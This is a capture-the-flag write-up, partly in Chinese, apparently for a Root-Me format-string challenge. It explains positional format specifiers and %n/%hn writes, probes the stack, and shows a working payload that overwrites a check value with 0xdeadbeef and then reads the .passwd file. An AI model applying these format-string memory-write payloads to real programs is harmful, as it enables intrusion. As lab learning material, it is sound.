Format string bug basic 2
ELF x86 - Format string bug basic 2
snprintf
snprintf
— prints into a string
with length checking
(https://pubs.opengroup.org/onlinepubs/009695399/functions/snprintf.html)
snprintf()函数应与sprintf()等效,并增加了n参数,该参数指出s所指缓冲区的大小。
·如果n为零,则不写任何内容,而s可以为空指针。
·否则,将丢弃第n-1st之后的输出字节,而不是将其写入数组,并且在实际写入数组的字节的末尾写入一个空字节。
也就是增加了限制
format
format
是一个字符串,以其初始移位状态(如果有)开始和结束。
format由零个或多个指令
组成:普通字符
(简单地复制到输出流
中)和转换规范
,每个转换规范都将导致获取零个或多个参数
。
·如果format的参数不足,则结果不确定
%n $
·可以将转换
应用于参数列表中格式之后的第n个参数,而不是下一个未使用的参数。
·在这种情况下,转换说明符字符%(请参见下文)由序列“%n $”代替,其中n是[1,{NL_ARGMAX}]范围内的十进制整数,给出了参数在参数中的位置。
For example, printf("%2$x", 1, 2, 3)
will print 2
. In general, we can do printf("%<some number>$x")
to select an arbitrary argument to printf.
%n
n 参数应该是一个指向整数的指针,到目前为止,通过对fprintf()函数之一的调用,将写入输出的字节数
The number of characters written so far
is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.
源代码
1 |
|
try
app-systeme-ch14@challenge02:~$ (for i in `seq 1 10`; do ./ch14 "%$i"'$08x'; ech
o;done)
check at 0xbffffae8
argv[1] = [%1$08x]
fmt=[080485f1]
check=0x4030201
check at 0xbffffae8
argv[1] = [%2$08x]
fmt=[00000000]
check=0x4030201
check at 0xbffffae8
argv[1] = [%3$08x]
fmt=[00000000]
check=0x4030201
check at 0xbffffae8
argv[1] = [%4$08x]
fmt=[000000c2]
check=0x4030201
check at 0xbffffae8
argv[1] = [%5$08x]
fmt=[bffffc34]
check=0x4030201
check at 0xbffffae8
argv[1] = [%6$08x]
fmt=[b7fe1439]
check=0x4030201
check at 0xbffffae8
argv[1] = [%7$08x]
fmt=[f63d4e2e]
check=0x4030201
check at 0xbffffae8
argv[1] = [%8$08x]
fmt=[04030201]
check=0x4030201
check at 0xbffffae8
argv[1] = [%9$08x]
fmt=[00000000]
check=0x4030201
check at 0xbffffae8
argv[1] = [%10$08x]
fmt=[00000000]
check=0x4030201
第8
处存着check
(for i in `seq 1 12`; do ./format_2 "AAAA%$i"'$08x';echo;done)
check at 0xbffffae8
argv[1] = [AAAA%8$08x]
fmt=[AAAA04030201]
check=0x4030201
check at 0xbffffae8
argv[1] = [AAAA%9$08x]
fmt=[AAAA41414141]
check=0x4030201
check at 0xbffffae8
argv[1] = [ABCD%8$08x]
fmt=[ABCD04030201]
check=0x4030201
check at 0xbffffae8
argv[1] = [ABCD%9$08x]
fmt=[ABCD44434241]
check=0x4030201
输入值在第九处(小端序)
check 在第八处
%hn
use %hn
to write only 2 bytes at a time.
%n 一次性写入 4 个字节
%hn 一次性写入 2 个字节
%hhn 一次性写入 1 个字节
./a.out “$(python -c ‘import sys; sys.stdout.write(“CAAAAAAA%2044x%10$hn
%38912x%11$hn”)’)”
https://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html
printf (“\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|”);
./format_2 $(python2 -c ‘print “\xd8\xfa\xff\xbf%9$08s”‘)
final
app-systeme-ch14@challenge02:~$ ./ch14 "$(python -c 'print "\xd8\xfa\xff\xbf%9$x
"')"
check at 0xbffffae8
argv[1] = [Øúÿ¿%9$x]
fmt=[Øúÿ¿bffffad8]
check=0x4030201
app-systeme-ch14@challenge02:~$ ./ch14 "$(python -c 'print "\xd8\xfa\xff\xbf%9$s
"')"
check at 0xbffffae8
argv[1] = [Øúÿ¿%9$s]
fmt=[Øúÿ¿Â]
check=0x4030201
\xdead=57005
\xbeef=48879
\xdead-\xbeef=8126
第九处写\xbeef 48879-8
第十处写\xdead 8126(已经输出了48879)
app-systeme-ch14@challenge02:~$ ./ch14 $(python -c 'print "\xc8\xfa\xff\xbf\xca\
xfa\xff\xbf%48871x%9$hn"+"%8126x%10$hn"')
check at 0xbffffac8
argv[1] = [Èúÿ¿Êúÿ¿%48871x%9$hn%8126x%10$hn]
fmt=[Èúÿ¿Êúÿ¿
]
check=0xdeadbeef
Yeah dude ! You win !
app-systeme-ch14-cracked@challenge02:~$ cat .passwd